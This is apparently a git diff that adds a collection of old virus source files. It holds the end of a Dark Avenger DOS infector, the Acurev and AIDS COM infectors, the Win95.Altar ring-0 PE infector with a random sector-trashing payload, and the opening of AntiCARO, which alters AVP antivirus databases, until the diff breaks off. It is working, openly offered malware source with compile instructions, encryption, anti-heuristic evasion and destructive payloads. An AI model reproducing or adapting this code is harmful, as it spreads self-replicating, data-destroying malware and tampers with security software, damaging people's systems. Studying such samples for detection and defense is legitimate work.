+ pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +; This routine is the working horse. + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;Read the file beginning + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h ;Save file length + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;This should be top_file + sbb dx,0 + jc stop_fuck_2 ;Small files are not infected + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +; Check if the file is properly infected + + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + int 21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + int 21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;Seek to the end of file + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;Watch out for too big .COM files + adc dx,0 + je fuck_it + ret + +; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;Get file's date + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;Very clever, isn't it? + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;This offers the possibilities to + movsb ;some nasty programs to restore + movsw ;exactly the original length + xor dx,dx ;of the .EXE files + mov cx,offset top_file + mov ah,40h + int 21h ;Write the virus + jc go_no_fuck ;(don't trace here) + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +; Construct the .EXE file's header + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h ;Write the file beginning +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;Restore the original file date + int 21h +stop_fuck: + ret + +; The following is used by the INT 21h and INT 27h handlers in connection +; to the program hiding in memory from those who don't need to see it. +; The whole system is absurde and meaningless and it is also another source +; for program conflicts. + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +; Assures that the program is the first one in the processes, +; which have intercepted INT 21h (yet another source of conflicts). + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; Searches the segment of the sucker who has intercepted INT 21h, in +; order to find where it has stored the old values and to replace them. +; Nothing is done for INT 27h. + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; Even if he has not saved them in the same segment, this won't help him. + +return_control: + mov ds,bx + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; Fetch the segment of the last MCB + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; Multiply by 16 + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + + db 'This program was written in the city of Sofia ' + db '(C) 1988-89 Dark Avenger',0 + +; INT 13h handler. +; Calls the original vectors in BIOS, if it's a writing call + +int_13: + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;--- Up to here comparison +disk: ; with the original is made + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;The original value of SS:SP +my_save: + int 20h ;The original contents of the first + nop ;3 bytes of the file +top_file: ;--- Up to here the code is written +filehndl equ $ ; in the files +filename equ filehndl+2 ;Buffer for the name of the opened file +save_int_27 equ filename+65 ;Original INT 27h vector +save_int_21 equ save_int_27+4 ;Original INT 21h vector +aux_size equ save_int_21+4 ;--- Up to here is moved into memory +top_save equ save_int_21+4 ;Beginning of the buffer, which +contains + ; - The first 24 bytes read from file + ; - File length (4 bytes) + ; - The last bytes of the file + ; (my_size bytes) +top_bz equ top_save-copyright +my_bz equ my_size-copyright + +code ends + end diff --git a/a/acurev.asm b/a/acurev.asm new file mode 100755 index 0000000..077f098 --- /dev/null +++ b/a/acurev.asm @@ -0,0 +1,165 @@ +; ------------------------------------------------------------------------- ; +; Acurev v1.8 coded by KilJaeden of the Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; Description: ; +; ; +; v1.0 - start with a simple *.com overwritter ; +; v1.1 - add XOR encryption ohhh yeah :) ; +; v1.2 - add restoring time/date stamps ; +; v1.3 - now we can infect even read only files! hah! ; +; v1.4 - why infect only one directory when you can do many? hehe ; +; v1.5 - add Anti-Heuristic tricks yehaw! ; +; v1.6 - display a message on girlfriends bday ; +; v1.7 - display a different message every saturday ; +; v1.8 - make it 666 bytes big hehe ; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm acurev.asm ; +; to link :::::] tlink /t acurev.obj ; +; ------------------------------------------------------------------------- ; + +code segment ; name our segment "code" + assume cs:code,ds:code ; assign CS and DS to code + org 100h ; this is a .com file now + +start: + mov cx,0FFFFh ; mmmmmmmm anti-heuristics + +anti_one: + jmp anti_two ; jump to anti_two + mov ax,4c00h ; terminate program + call do_int21 ; terminate this shit + +anti_two: + loop anti_one ; loop anti_one heh + +;xor_start: + lea si,encrypted ; SI points to encrypted area start + mov di,si ; mov SI to DI + mov cx,finished-encrypted ; # of bytes in encrypted area + call encryption ; call the encryption routine + jmp encrypted ; jump to start of encrypted area + +encryption: + lodsb ; load a byte + xor al,byte ptr [decrypt] ; xor the byte with our key + stosb ; return the byte + loop encryption ; loop until done + ret ; return from call + + decrypt db 0 ; decryption key value 0 + +encrypted: + mov ah,4eh ; find the first file + +get: + xor cx,cx ; cx to 0 + lea dx,comfile ; load *.com string + call do_int21 ; and get the first .com + jc new_dir ; no more .com? new dir + + mov dx,9eh ; get the file name info + mov ax,4301h ; set file attributes + xor cx,cx ; to absolutely none + call do_int21 ; can infect read only files now! + + mov ax,3d02h ; open the file read / write + mov dx,9eh ; get the file name info + call do_int21 ; open it / get file info now + xchg bx,ax ; move the file info to BX + + mov ax,5700h ; get time / date stamps + call do_int21 ; get them now + mov time,dx ; save the value here + mov date,cx ; and save the value here + + in al,40h ; get a random value from clock + mov byte ptr [decrypt],al ; save the value as our key + lea si,encrypted ; load the start of encrypted area + lea di,finished ; load the end of encrypted area + mov cx,finished-encrypted ; total # of bytes between them + call encryption ; and encrypt them now + + mov ah,40h ; write to file + mov cx,encrypted-start ; total # of bytes to write + lea dx,start ; and start writting from here + call do_int21 ; write diz shitz man! + + mov ah,40h ; write to file + mov cx,finished-encrypted ; total # of bytes to write + lea dx,finished ; and write from here + call do_int21 ; write it man! + + mov ax,5701h ; restore time/date + mov dx,time ; from this value + mov cx,date ; and this value + call do_int21 ; restore it now + + mov ah,3eh ; close the file + call do_int21 ; do it man! + + mov ah,4fh ; find the next file + jmp get ; and jump back to get + +new_dir: + lea dx,dot_dot ; load .. into dx + mov ah,3bh ; change directories routine + call do_int21 ; change the directory + jnc encrypted ; and lets go again baby + +;payload1: + mov ah,2ah ; get the system time + call do_int21 ; get the time now + cmp dh,07 ; is it July? + jne saturday ; is it saturday tho? + cmp dl,16 ; is it the 16th? + jne saturday ; nope, skip payload :( + +;payload: + mov ah,09h ; print a message + lea dx,bdaymsg ; load the message + call do_int21 ; print the message + +saturday: + mov ah,2ah ; get the system time + call do_int21 ; get the time now + cmp al,006h ; is it saturday? + jne end_virus ; naw, end the virus + +;satpload: + mov ah,09h ; print another message + lea dx,satdmsg ; the saturday message + call do_int21 ; print this shit! + +end_virus: + int 20h ; end the virus + +do_int21: + int 21h ; do the int 21h + ret ; return from call + +;data_area: + + satdmsg db '',10,13 + db 'Acurev v1.8 coded by KilJaeden of the Codebreakers on 05/29/98',10,13 + db '',10,13 + db ' --> How Can You Think Freely In The Shadow Of A Church? <--',10,13 + db ' --> You Cannot Sedate, All The Things You Hate <--',10,13 + db '',10,13 + db ' --> Your Infected <--',10,13,'$' + + bdaymsg db '',10,13 + db ' Happy Birthday Christine Moore *kiss* I''ll be home',10,13 + db ' In less then a month now... June29th, Can''t wait!!',10,13,'$' + + time dw 0h ; some space for the time + date dw 0h ; some space for the date + dot_dot db "..",0 ; changeing directories + comfile db "*.com",0 ; load up *.com hehe + db 100 dup (90h) ; make it 666 bytes + finished label near ; just a label man + code ends ; end code segment + end start ; end / where to start + +; ------------------------------------------------------------------------- ; +; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ; +; ------------------------------------------------------------------------- ; diff --git a/a/aids.pas b/a/aids.pas new file mode 100755 index 0000000..a55e5c5 --- /dev/null +++ b/a/aids.pas @@ -0,0 +1,302 @@ +{AIDS + +Although this is a primitive virus its effective. +In this virus only the .COM +files are infected. Its about 13K and it will +change the date entry.} + +{C-} +{U-} +{I-} { Wont allow a user break, enable IO check } +{ -- Constants --------------------------------------- } +Const + VirusSize = 13847; { AIDS's code size } + Warning :String[42] { Warning message } + = 'This File Has Been Infected By AIDS! HaHa!'; +{ -- Type declarations------------------------------------- } +Type + DTARec =Record { Data area for file search } + DOSnext :Array[1..21] of Byte; + Attr : Byte; + Ftime, + FDate, + FLsize, + FHsize : Integer; + FullName: Array[1..13] of Char; + End; +Registers = Record {Register set used for file search } + Case Byte of + 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); + 2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); + End; +{ -- Variables--------------------------------------------- } +Var + { Memory offset program code } + ProgramStart : Byte absolute Cseg:$100; + { Infected marker } + MarkInfected : String[42] absolute Cseg:$180; + Reg : Registers; { Register set } + DTA : DTARec; { Data area } + Buffer : Array[Byte] of Byte; { Data buffer } + TestID : String[42]; { To recognize infected files } + UsePath : String[66]; { Path to search files } + { Lenght of search path } + UsePathLenght: Byte absolute UsePath; + Go : File; { File to infect } + B : Byte; { Used } + LoopVar : Integer; {Will loop forever} +{ -- Program code------------------------------------------ } +Begin + GetDir(0, UsePath); { get current directory } + if Pos('\', UsePath) < UsePathLenght then + UsePath := UsePath + '\'; + UsePath := UsePath + '*.COM'; { Define search mask } + Reg.AH := $1A; { Set data area } + Reg.DS := Seg(DTA); + Reg.DX := Ofs(DTA); + MsDos(Reg); + UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 } + Reg.AH := $4E; + Reg.DS := Seg(UsePath); + Reg.DX := Ofs(UsePath[1]); + Reg.CX := $ff; { Set attribute to find ALL files } + MsDos(Reg); { Find first matching entry } + IF not Odd(Reg.Flags) Then { If a file found then } + Repeat + UsePath := DTA.FullName; + B := Pos(#0, UsePath); + If B 0 then + Delete(UsePath, B, 255); { Remove garbage } + Assign(Go, UsePath); + Reset(Go); + If IOresult = 0 Then { If not IO error then } + Begin + BlockRead(Go, Buffer, 2); + Move(Buffer[$80], TestID, 43); + { Test if file already ill(Infected) } + If TestID < Warning Then { If not then ... } + Begin + Seek (Go, 0); + { Mark file as infected and .. } + MarkInfected := Warning; + { Infect it } + BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7)); + Close(Go); + Halt; {.. and halt the program } + End; + Close(Go); + End; + { The file has already been infected, search next. } + Reg.AH := $4F; + Reg.DS := Seg(DTA); + Reg.DX := Ofs(DTA); + MsDos(Reg); + { ......................Until no more files are found } + Until Odd(Reg.Flags); +Loopvar:=Random(10); +If Loopvar=7 then +begin + Writeln('_'); {Give a lot of smiles} +Writeln('__'); +Writeln(' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +'); +Writeln(' + ATTENTION: +'); +Writeln(' + I have been elected to inform you that throughout your process of +'); +Writeln(' + collecting and executing files, you have accidentally _HK_ +'); +Writeln(' + yourself over; again, that''s PHUCKED yourself over. No, it cannot +'); +Writeln(' + be; YES, it CAN be, a -s has infected your system. Now what do +'); +Writeln(' + you have to say about that? HAHAHAHA. Have _H¥ with this one and +'); +Writeln(' + remember, there is NO cure for +'); +Writeln(' + +'); +Writeln(' + +'); +Writeln(' + ±±±±±± ±±±±±±±±±± ±±±±±±± ±±±±±±± +'); +Writeln(' + ±± ± ± ± ± ±± ±± +'); +Writeln(' + ± ± ± ± ± ± +'); +Writeln(' + ± ± ± ± +'); +Writeln(' + ±±±±±±±±± ± ± ± ±±±±±±±±±± +'); +Writeln(' + ± ± ± ± ± ± +'); +Writeln(' + ± ± ± ± ± ± +'); +Writeln(' + ± ± ±± ±± +'); +Writeln(' + ±± ±± ±±±±±±±±±±±± ±±±±±±±±±±± ±±±±±±±±±± +'); +Writeln(' + +'); +Writeln(' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +'); +REPEAT +LOOPVAR:=0; +UNTIL LOOPVAR=1; +end; +End. + +This page hosted by Get your own Free Homepage diff --git a/a/altar.asm b/a/altar.asm new file mode 100755 index 0000000..5c2c5ec --- /dev/null +++ b/a/altar.asm @@ -0,0 +1,534 @@ +;============================================================================ +; +; +; NAME: Win95.Altar 1.01 +; OS: Windoze 95/98. +; TYPE: Parasitic resident (VxD) PE-infector. +; SIZE: Around 800 bytes. +; AUTHOR: T-2000 / Immortal Riot. +; E-MAIL: T2000_@hotmail.com +; DATE: June 1999. +; DESTRUCTIVE: Yeah. +; +; FEATURES: +; +; - Gains ring-0 by hacking an IDT-gate. +; - Hosts don't increase in size. +; - Payload: random sector-trashing. +; +; Here's some simple ring-0 VxD-virus, just to try-out the idea. The trash- +; chance was set rather high, just to fuck beginners :P +; +;============================================================================ + + + .386p + .MODEL FLAT + .CODE + + ORG 0 + +EXTRN ExitProcess:PROC + +IFSMgr EQU 0040h +GetHeap EQU 000Dh +UniToBCSPath EQU 0041h +InstallFileSystemAPIhook EQU 0067h +Ring0_FileIO EQU 0032h +IFSFN_OPEN EQU 36 +R0_WRITEFILE EQU 0D601h + +Virus_Size EQU (Virus_End-START) +Virus_Size_Mem EQU (End_Virus_Mem-START) + + +START: + PUSH (1000h+(Carrier-START)) +Host_EIP = DWORD PTR $-4 + + PUSHFD + PUSHAD + + CALL Get_Delta + + MOV EAX, EBP + + SUB EAX, 1000h ; Calculate base-address. +Virus_RVA = DWORD PTR $-4 + + ADD [ESP+(9*4)], EAX ; Add base to the EIP RVA. + + XOR EAX, EAX + + CALL Setup_SEH ; Bail-out without errors + ; under NT. + MOV ESP, [ESP+(2*4)] + + JMP Return_Host + +Setup_SEH: PUSH DWORD PTR FS:[EAX] + MOV FS:[EAX], ESP + + PUSH EAX ; Store IDT in EAX. + SIDT [ESP-2] + POP EAX + + LEA EBX, [EBP+(Ring0_Installation-START)] + + XCHG [EAX+(3*8)], BX ; Hack IDT-gate. + ROR EBX, 16 + XCHG [EAX+(3*8)+6], BX + + INT 3 + + MOV [EAX+(3*8)+6], BX ; Restore IDT-gate. + ROL EBX, 16 + MOV [EAX+(3*8)], BX + +Return_Host: XOR EAX, EAX ; Restore the original SEH. + + POP DWORD PTR FS:[EAX] + POP EAX + + POPAD + POPFD + + RET ; RETurn to our host. + + +Copyright DB '[Altar] by T-2000 / Immortal Riot', 0 + + +VxD_Ring0_FileIO: + + INT 20h + DW Ring0_FileIO + DW IFSMgr + + RET + + +Ring0_Installation: + + PUSHFD + PUSHAD + + MOV EAX, DR2 ; Get DR2 in EAX. + + CMP AL, 'T' ; We're already resident? + JE Exit_R0_Inst + + LEA EDI, [EBP+(VxD_Ring0_FileIO-START)] + + MOV AX, 20CDh + STOSW + + MOV [EDI], 00400032h + + MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)-2], AX + MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)-2], AX + MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)-2], AX + + MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)], 0040000Dh + MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)], 00400067h + MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)], 00400041h + + PUSH Virus_Size_Mem ; Allocate memory from the + INT 20h ; global heap. + DW GetHeap + DW IFSMgr +VxD_Call_1 = $-6 + POP ECX + + OR EAX, EAX ; Error occurred? + JZ Exit_R0_Inst + + MOV ESI, EBP ; Copy us to VxD-memory. + MOV EDI, EAX + CLD + REP MOVSB + + MOV [EAX+(Busy_Switch-START)], ECX + + ADD EAX, (Ring0_Hook-START) + + PUSH EAX ; Insert our file-hook. + INT 20h + DW InstallFileSystemAPIhook + DW IFSMgr +VxD_Call_2 = $-6 + POP EBX + + XCHG ECX, EAX ; Error? + JECXZ Exit_R0_Inst + + MOV [EBX+(Prev_Handler-Ring0_Hook)], ECX + + MOV AL, 'T' ; Mark us as resident. + MOV DR2, EAX + +Exit_R0_Inst: POPAD + POPFD + + IRETD ; Back to our ring-3 part. + + +Ring0_Hook: + JMP $+666h +Busy_Switch = DWORD PTR $-4 + + PUSHFD + PUSHAD + + CALL Get_Delta + + MOV DWORD PTR [EBP+(Busy_Switch-START)], (JMP_Prev_Hook-Busy_Switch) - 4 + + CMP DWORD PTR [ESP+(9*4)+(2*4)], IFSFN_OPEN + JNE Exit_Infect + + CALL Get_Random + + CMP DL, 5 + JA Obtain_Name + + CALL Get_Random + + MOV AX, 0DE02h ; R0_WRITEABSOLUTEDISK + INC ECX + LEA ESI, [EBP+(Copyright-START)] + CALL VxD_Ring0_FileIO + +Obtain_Name: MOV EBX, [ESP+(9*4)+(6*4)] ; IOREQ-structure. + + MOV ESI, [EBX+(3*4)] ; Unicode-path. + + CLD + LODSD + + PUSH DWORD PTR [ESP+(9*4)+(5*4)] + PUSH 259 + PUSH ESI + LEA ESI, [EBP+(ANSI_Target-START)] + PUSH ESI + INT 20h + DW UniToBCSPath + DW IFSMgr +VxD_Call_3 = $-6 + + ADD ESP, (4*4) ; Fix stack. + + OR EDX, EDX ; No problems during the + JNZ Exit_Infect ; conversion? + + MOV [ESI+EAX], DL + + CMP [ESI+EAX-4], 'EXE.' ; Standard .EXE-file? + JNE Exit_Infect + + XOR EAX, EAX ; R0_OPENCREATFILE + MOV AH, 0D5h + PUSH 02h + POP EBX + INC EDX + CALL VxD_Ring0_FileIO + JC Exit_Infect + + XCHG EBX, EAX ; Save filehandle in EBX. + + XOR EAX, EAX ; R0_GETFILESIZE + MOV AH, 0D8h + CALL VxD_Ring0_FileIO + + CMP EAX, 4096 ; Avoid infecting files which +JC_Close_File: JB Close_File ; are too small. + + MOV [EBP+(Victim_Size-START)], EAX + + LEA EDI, [EBP+(Header-START)] + + ; Read-in the DOS MZ-header. + + XOR EAX, EAX ; R0_READFILE + MOV AH, 0D6h + PUSH 40h + POP ECX + XOR EDX, EDX + MOV ESI, EDI + CALL VxD_Ring0_FileIO + JC JC_Close_File + + CMP [EDI.MZ_Mark], 'ZM' ; It's a valid .EXE-file? + JNE Close_File + + MOV EDX, [EDI+3Ch] ; Pointer to PE-header. + + MOV [EBP+(PE_Header_Offs-START)], EDX + + ; Read-in PE-header. + + XOR EAX, EAX ; R0_READFILE + MOV AH, 0D6h + PUSH 92 + POP ECX + CALL VxD_Ring0_FileIO + + CMP [EDI.PE_Mark], 'EP' ; Verify the PE-header. + JNE Close_File + + CMP [EDI.PE_Checksum], -666h ; Avoid infected + JE Close_File ; files. + + MOVZX EAX, [EDI.Object_Count] + DEC EAX + PUSH 40 + POP ECX + MUL ECX + + MOVZX DX, [EDI.NT_Header_Size] + + LEA EDX, [EDX+24+EAX] + + ADD EDX, [EBP+(PE_Header_Offs-START)] + + MOV [EBP+(Last_Obj_Offset-START)], EDX + + ; Read-in the last object-header. + + XOR EAX, EAX ; R0_READFILE + MOV AH, 0D6h + PUSH 40 + POP ECX + LEA ESI, [EBP+(Last_Obj_Table-START)] + CALL VxD_Ring0_FileIO + + MOV EAX, [ESI.Section_Physical_Size] + + CMP EAX, [ESI.Section_Virtual_Size] + JBE Check_Size + + MOV EAX, [ESI.Section_Virtual_Size] + +Check_Size: PUSH EAX + + MOV ECX, Virus_Size + + ADD EAX, ECX + ADD EAX, [ESI.Section_Physical_Offset] + + CMP EAX, 12345678h ; File increases in size? +Victim_Size = DWORD PTR $-4 + + POP EAX + + JA Close_File ; Then abort the infect. + + PUSH EAX + + PUSH EAX + + ADD EAX, ECX + + PUSH EAX + + MOV ECX, [EDI.File_Align] + CALL Align_EAX + + CMP [ESI.Section_Physical_Size], EAX + JNB Calc_New_Virt + + MOV [ESI.Section_Physical_Size], EAX + +Calc_New_Virt: POP EAX + MOV ECX, [EDI.Object_Align] + CALL Align_EAX + + CMP [ESI.Section_Virtual_Size], EAX + JNB Set_New_EIP + + ADD [EDI.Image_Size], EAX + + XCHG [ESI.Section_Virtual_Size], EAX + + SUB [EDI.Image_Size], EAX + +Set_New_EIP: POP EAX + + ADD EAX, [ESI.Section_RVA] + + MOV [EBP+(Virus_RVA-START)], EAX + + XCHG [EDI.EIP_RVA], EAX + + MOV [EBP+(Host_EIP-START)], EAX + + ; Write updated object-header back to disk. + + MOV EAX, R0_WRITEFILE + PUSH 40 + POP ECX + MOV EDX, 12345678h +Last_Obj_Offset = DWORD PTR $-4 + CALL VxD_Ring0_FileIO + + POP EDX + + ; Insert virus-body into our victim. + + MOV EAX, R0_WRITEFILE + MOV ECX, Virus_Size + ADD EDX, [ESI.Section_Physical_Offset] + MOV ESI, EBP + CALL VxD_Ring0_FileIO + + ; Mark file as infected. + + MOV [EDI.PE_Checksum], -666h + + ; Write updated PE-header back to disk. + + MOV EAX, R0_WRITEFILE + PUSH 92 + POP ECX + MOV EDX, 12345678h +PE_Header_Offs = DWORD PTR $-4 + MOV ESI, EDI + CALL VxD_Ring0_FileIO + + ; Close the file. + +Close_File: XOR EAX, EAX ; R0_CLOSEFILE + MOV AH, 0D7h + CALL VxD_Ring0_FileIO + +Exit_Infect: XOR EAX, EAX ; Reset busy-flag. + + MOV [EBP+(Busy_Switch-START)], EAX + + POPAD + POPFD + +JMP_Prev_Hook: JMP DS:[12345678h] +Prev_Handler = DWORD PTR $-4 + + + DB 'Awaiting the sacrifice...', 0 + + +Align_EAX: + XOR EDX, EDX + DIV ECX + + OR EDX, EDX + JZ Calc_Aligned + + INC EAX + +Calc_Aligned: MUL ECX + + RET + + +Get_Delta: + CALL Get_EIP +Get_EIP: POP EBP + SUB EBP, (Get_EIP-START) + + RET + + +Get_Random: + IN EAX, 40h + ADD EDX, EAX + +Randomize: IN EAX, 40h + XCHG AH, AL + + ADD EAX, 0DEADBEEFh + + RCL EDX, 3 + + XOR EDX, EAX + + LOOP Randomize + + RET + +Virus_End: + +ANSI_Target DB 260 DUP(0) + +Header DB 92 DUP(0) + +Last_Obj_Table DB 40 DUP(0) + +End_Virus_Mem: + + +Carrier: + PUSH 0 + CALL ExitProcess + + + + +; The good old MZ-header... + +MZ_Header STRUC +MZ_Mark DW 0 +MZ_Image_Mod_512 DW 0 +MZ_Image_512_Pages DW 0 +MZ_Reloc_Items DW 0 +MZ_Header_Size_Mem DW 0 +MZ_Min_Size_Mem DW 0 +MZ_Max_Size_Mem DW 0 +MZ_Program_SS DW 0 +MZ_Program_SP DW 0 +MZ_Checksum DW 0 +MZ_Program_IP DW 0 +MZ_Program_CS DW 0 +MZ_Reloc_Table DW 0 +MZ_Header ENDS + + +PE_Header STRUC +PE_Mark DD 0 ; PE-marker (PE/0/0). +CPU_Type DW 0 ; Minimal CPU required. +Object_Count DW 0 ; Number of sections in PE. + DD 0 +Reserved_1 DD 0 + DD 0 +NT_Header_Size DW 0 +PE_Flags DW 0 + DD 4 DUP(0) +EIP_RVA DD 0 + DD 2 DUP(0) +Image_Base DD 0 +Object_Align DD 0 +File_Align DD 0 + DW 0, 0 + DW 0, 0 + DW 0, 0 +PE_Reserved_5 DD 0 +Image_Size DD 0 +Headers_Size DD 0 +PE_Checksum DD 0 + DW 0 +DLL_Flags DW 0 +PE_Header ENDS + + +Section_Header STRUC +Section_Name DB 8 DUP(0) ; Zero-padded section-name. +Section_Virtual_Size DD 0 ; Memory-size of section. +Section_RVA DD 0 ; Start section in memory. +Section_Physical_Size DD 0 ; Section-size in file. +Section_Physical_Offset DD 0 ; Section file-offset. +Section_Reserved_1 DD 0 ; Not used for executables. +Section_Reserved_2 DD 0 ; Not used for executables. +Section_Reserved_3 DD 0 ; Not used for executables. +Section_Flags DD 0 ; Flags of the section. +Section_Header ENDS + + + END START diff --git a/a/anticaro.asm b/a/anticaro.asm new file mode 100755 index 0000000..174d509 --- /dev/null +++ b/a/anticaro.asm @@ -0,0 +1,462 @@ +; +; +; AntiCARO +; by Mister Sandman/29A +; +; +; +; As i don't agree with CARO and with the way the name viruses, and spe- +; cially the way they *misnamed* VLAD's Bizatch, i decided to write this +; virus... just to protest against the biggest dickhead under the sun, +; Vesselin Bonchev, the virus-baptizer who does whatever he wants making +; abuse of his 'power' in that fucking sect named CARO. +; +; And as i know that, albeit he works at Frisk, his favourite AV is AVP, +; i just took the decission to write this baby, which will modify AVP so +; it will detect Bizatch as 'Bizatch_:P' and not as Boza. +; +; The virus is lame as hell (but i swear i wasn't able to reach Ratboy's +; or YAM's coding skills)... i only developed its originality. Anyway, +; it's interesting to see how does it modify AVP: +; +; It looks for AVP.SET in the current directory it's being loaded from. +; If it finds that file, it will insert a new viral database in the se- +; cond field, and later it will drop that new database, which contains +; the data needed for detecting Bizatch from AVP (have a look at the co- +; de, which is found at the end of this virus). +; +; As this new viral database has been loaded before the rest of the +; other databases (except of KERNEL.AVB, which must be always loaded in +; the first place), it will be the first one containing Bizatch's search +; strings, so it will be the fortunate participant to show the name of +; the virus it has detected :) +; +; About the virus itself, as i told before, it's a lame TSR COM infec- +; tor which hits files on execution (4b00h) and uses SFTs for performing +; the file infection. +; +; This virus is dedicated to my friends Quantum and Qark (ex VLAD) for +; obvious reasons and to Tcp/29A because of his help on its writing. +; +; Compiling instructions: +; +; tasm /m anticaro.asm +; tlink anticaro.obj +; exe2bin anticaro.exe anticaro.com + + +anticaro segment byte public + assume cs:anticaro,ds:anticaro + org 0 + +anticaro_start label byte +anticaro_size equ anticaro_end-anticaro_start + +entry_point: call delta_offset +delta_offset: pop bp ; Get -offset + sub bp,offset delta_offset ; for l8r use + + mov ax,3d02h ; Try to open AVP.SET + lea dx,[bp+avp_set] ; if it's found in the + int 21h ; current directory + jc mem_res_check + + xchg bx,ax + mov ah,3fh ; Read the whole file + mov cx,29Ah ;-) + lea dx,[bp+anticaro_end] + int 21h + push ax + + mov ax,4200h ; Lseek to the second + xor cx,cx ; line (first must + mov dx,0ch ; be always KERNEL.AVB) + int 21h + + mov ah,40h ; Truncate file from + xor cx,cx ; current offset + int 21h + + mov ah,40h ; Write our viral + mov cx,0dh ; database name + lea dx,[bp+bizatch_name] ; (BIZATCH.AVB) as + int 21h ; second field + + mov ah,40h ; And write the rest + pop cx ; of the original + sub cx,0ch ; AVP.SET we read b4 + lea dx,[bp+anticaro_end+0ch] ; to our buffer + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ah,3ch ; Create the new viral + xor cx,cx ; database (BIZATCH.AVB) + lea dx,[bp+bizatch_base] ; which contains Bizatch's + int 21h ; detection data + + xchg bx,ax + mov ah,40h ; Write the database + mov cx,base_size ; contents in the new + lea 